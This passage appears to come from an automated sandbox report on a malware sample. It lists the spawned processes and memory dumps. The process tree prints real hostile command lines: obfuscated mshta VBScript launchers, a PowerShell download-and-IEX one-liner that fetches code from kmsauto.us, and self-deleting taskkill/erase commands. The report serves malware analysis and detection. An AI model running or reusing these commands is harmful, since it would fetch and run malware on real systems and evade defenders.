                                                                                                                                                                                                "C:\Windows\System32\mshta.exe" VBSCripT: CloSe ( CReateOBjecT ("wSCRipT.sheLl"). RUN ( "cmD /q /C TYPe ""C:\Users\Admin\Documents\w9A5WnhzeSRUrXrheT8zuXGp.exe"" > Bx0IuOFB.ExE && StArT BX0iUoFB.EXe -PyTJSIPDC12bsxp0f1 & iF """" == """" for %Q in ( ""C:\Users\Admin\Documents\w9A5WnhzeSRUrXrheT8zuXGp.exe"" ) do taskkill -F -im ""%~NxQ"" ", 0, truE) )
                                                                                                                                                                                                3⤵
                                                                                                                                                                                                  PID:2500
                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                    "C:\Windows\System32\cmd.exe" /q /C TYPe "C:\Users\Admin\Documents\w9A5WnhzeSRUrXrheT8zuXGp.exe" >Bx0IuOFB.ExE && StArT BX0iUoFB.EXe -PyTJSIPDC12bsxp0f1 & iF "" == "" for %Q in ( "C:\Users\Admin\Documents\w9A5WnhzeSRUrXrheT8zuXGp.exe" ) do taskkill -F -im "%~NxQ"
                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                      PID:300
                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\Bx0IuOFB.ExE
                                                                                                                                                                                                        BX0iUoFB.EXe -PyTJSIPDC12bsxp0f1
                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                          PID:2528
                                                                                                                                                                                                          • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                                            "C:\Windows\System32\mshta.exe" VBSCripT: CloSe ( CReateOBjecT ("wSCRipT.sheLl"). RUN ( "cmD /q /C TYPe ""C:\Users\Admin\AppData\Local\Temp\Bx0IuOFB.ExE"" > Bx0IuOFB.ExE && StArT BX0iUoFB.EXe -PyTJSIPDC12bsxp0f1 & iF ""-PyTJSIPDC12bsxp0f1 "" == """" for %Q in ( ""C:\Users\Admin\AppData\Local\Temp\Bx0IuOFB.ExE"" ) do taskkill -F -im ""%~NxQ"" ", 0, truE) )
                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                              PID:2556
                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /q /C TYPe "C:\Users\Admin\AppData\Local\Temp\Bx0IuOFB.ExE" >Bx0IuOFB.ExE && StArT BX0iUoFB.EXe -PyTJSIPDC12bsxp0f1 & iF "-PyTJSIPDC12bsxp0f1 " == "" for %Q in ( "C:\Users\Admin\AppData\Local\Temp\Bx0IuOFB.ExE" ) do taskkill -F -im "%~NxQ"
                                                                                                                                                                                                                7⤵
                                                                                                                                                                                                                  PID:788
                                                                                                                                                                                                              • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                "C:\Windows\System32\rundll32.exe" .\BPJm7xC.Iwa,Rgac
                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                  PID:2864
                                                                                                                                                                                                              • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                taskkill -F -im "w9A5WnhzeSRUrXrheT8zuXGp.exe"
                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                • Kills process with taskkill
                                                                                                                                                                                                                PID:1236
                                                                                                                                                                                                          • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                            "C:\Windows\System32\rundll32.exe" .\BPJm7xC.Iwa,Rgac
                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                              PID:1136
                                                                                                                                                                                                          • C:\Users\Admin\Documents\UKCm7CTzUAibVFZTV7f2y9ru.exe
                                                                                                                                                                                                            "C:\Users\Admin\Documents\UKCm7CTzUAibVFZTV7f2y9ru.exe"
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                              PID:1704
                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 1704 -s 1352
                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                • Program crash
                                                                                                                                                                                                                PID:644
                                                                                                                                                                                                            • C:\Users\Admin\Documents\TZbqsVpnmnuSE0Ga96EXRkhV.exe
                                                                                                                                                                                                              "C:\Users\Admin\Documents\TZbqsVpnmnuSE0Ga96EXRkhV.exe"
                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                PID:1832
                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\egYyUoaC.com
                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\egYyUoaC.com"
                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                    PID:2036
                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                      "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\3CF1.tmp\3D01.tmp\3D02.bat C:\Users\Admin\AppData\Local\Temp\egYyUoaC.com"
                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                        PID:2140
                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\gyCLSMGX.com
                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\gyCLSMGX.com"
                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                        PID:1804
                                                                                                                                                                                                                        • C:\Windows\System32\mshta.exe
                                                                                                                                                                                                                          "C:\Windows\System32\mshta.exe" https://kmsauto.us/ra/Encoding.txt
                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                            PID:756
                                                                                                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $A='DowRing'.Replace('R','nloadstr');$B = 'WebCAMt'.Replace('AM','lien');$d='tnt'.Replace('tn','Ne');$link ='https://kmsauto.us/ra/ALL.txt';$t1='(New-OS'.Replace('S','bje');$t2='ct Sypek)'.Replace('pe','stem.$d.$B).$A($lin');$WC=I`E`X ($t1,$t2 -Join '')|I`E`X
                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                PID:2524
                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\eGqESbA9.com
                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\eGqESbA9.com"
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                              PID:3000
                                                                                                                                                                                                                          • C:\Users\Admin\Documents\tyF716Bl2hZMkMgCCJY3Y1OJ.exe
                                                                                                                                                                                                                            "C:\Users\Admin\Documents\tyF716Bl2hZMkMgCCJY3Y1OJ.exe"
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                              PID:812
                                                                                                                                                                                                                            • C:\Users\Admin\Documents\CL5hDGOwNisXthMR6o5dE8u2.exe
                                                                                                                                                                                                                              "C:\Users\Admin\Documents\CL5hDGOwNisXthMR6o5dE8u2.exe"
                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                PID:1812
                                                                                                                                                                                                                              • C:\Users\Admin\Documents\5vaXzVvK2vBPibSApvEICKjI.exe
                                                                                                                                                                                                                                "C:\Users\Admin\Documents\5vaXzVvK2vBPibSApvEICKjI.exe"
                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                  PID:952
                                                                                                                                                                                                                                • C:\Users\Admin\Documents\uNstEPV8Qc9VrmoUVGsUS0TQ.exe
                                                                                                                                                                                                                                  "C:\Users\Admin\Documents\uNstEPV8Qc9VrmoUVGsUS0TQ.exe"
                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                    PID:1384
                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /c taskkill /im "uNstEPV8Qc9VrmoUVGsUS0TQ.exe" /f & erase "C:\Users\Admin\Documents\uNstEPV8Qc9VrmoUVGsUS0TQ.exe" & exit
                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                        PID:1500
                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                    taskkill /im "uNstEPV8Qc9VrmoUVGsUS0TQ.exe" /f
                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                    • Kills process with taskkill
                                                                                                                                                                                                                                    PID:2808
                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\4911.exe
                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\4911.exe
                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                      PID:3136
                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\4911.exe
                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\4911.exe
                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                          PID:4892
                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\81CE.exe
                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\81CE.exe
                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                          PID:3676
                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\F6A0.exe
                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\F6A0.exe
                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                            PID:4236

                                                                                                                                                                                                                                          Network

                                                                                                                                                                                                                                          MITRE ATT&CK Enterprise v6

                                                                                                                                                                                                                                          Replay Monitor

                                                                                                                                                                                                                                          Loading Replay Monitor...

                                                                                                                                                                                                                                          Downloads

                                                                                                                                                                                                                                          • memory/316-166-0x0000000000A30000-0x0000000000A31000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                          • memory/436-198-0x0000000002DE0000-0x0000000002DFC000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            112KB

                                                                                                                                                                                                                                          • memory/740-157-0x00000000003F0000-0x00000000003F1000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                          • memory/740-163-0x000000001B070000-0x000000001B072000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            8KB

                                                                                                                                                                                                                                          • memory/740-164-0x0000000000140000-0x0000000000159000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            100KB

                                                                                                                                                                                                                                          • memory/812-189-0x00000000001C0000-0x00000000001C1000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                          • memory/868-165-0x0000000001320000-0x0000000001321000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                          • memory/876-160-0x0000000000370000-0x0000000000371000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                          • memory/876-211-0x0000000001E60000-0x0000000001E7E000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            120KB

                                                                                                                                                                                                                                          • memory/952-185-0x0000000000880000-0x0000000000881000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                          • memory/1092-159-0x00000000013A0000-0x00000000013A1000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                          • memory/1320-173-0x0000000000F80000-0x0000000000F81000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                          • memory/1576-167-0x0000000000D70000-0x0000000000D71000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                          • memory/1576-207-0x0000000004A00000-0x0000000004A72000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            456KB

                                                                                                                                                                                                                                          • memory/1692-109-0x0000000000020000-0x000000000002A000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            40KB

                                                                                                                                                                                                                                          • memory/1816-61-0x0000000003E50000-0x0000000003F8F000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            1.2MB

                                                                                                                                                                                                                                          • memory/1816-60-0x0000000075631000-0x0000000075633000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            8KB

                                                                                                                                                                                                                                          • memory/1832-214-0x000007FEFB881000-0x000007FEFB883000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            8KB

                                                                                                                                                                                                                                          • memory/2052-182-0x0000000000CC0000-0x0000000000CC1000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            4KB

                                                                                                                                                                                                                                          • memory/2284-168-0x0000000000400000-0x0000000000409000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            36KB

                                                                                                                                                                                                                                          • memory/3040-201-0x0000000000400000-0x0000000000420000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            128KB

                                                                                                                                                                                                                                          • memory/3040-199-0x0000000000400000-0x0000000000420000-memory.dmp

                                                                                                                                                                                                                                            Filesize

                                                                                                                                                                                                                                            128KB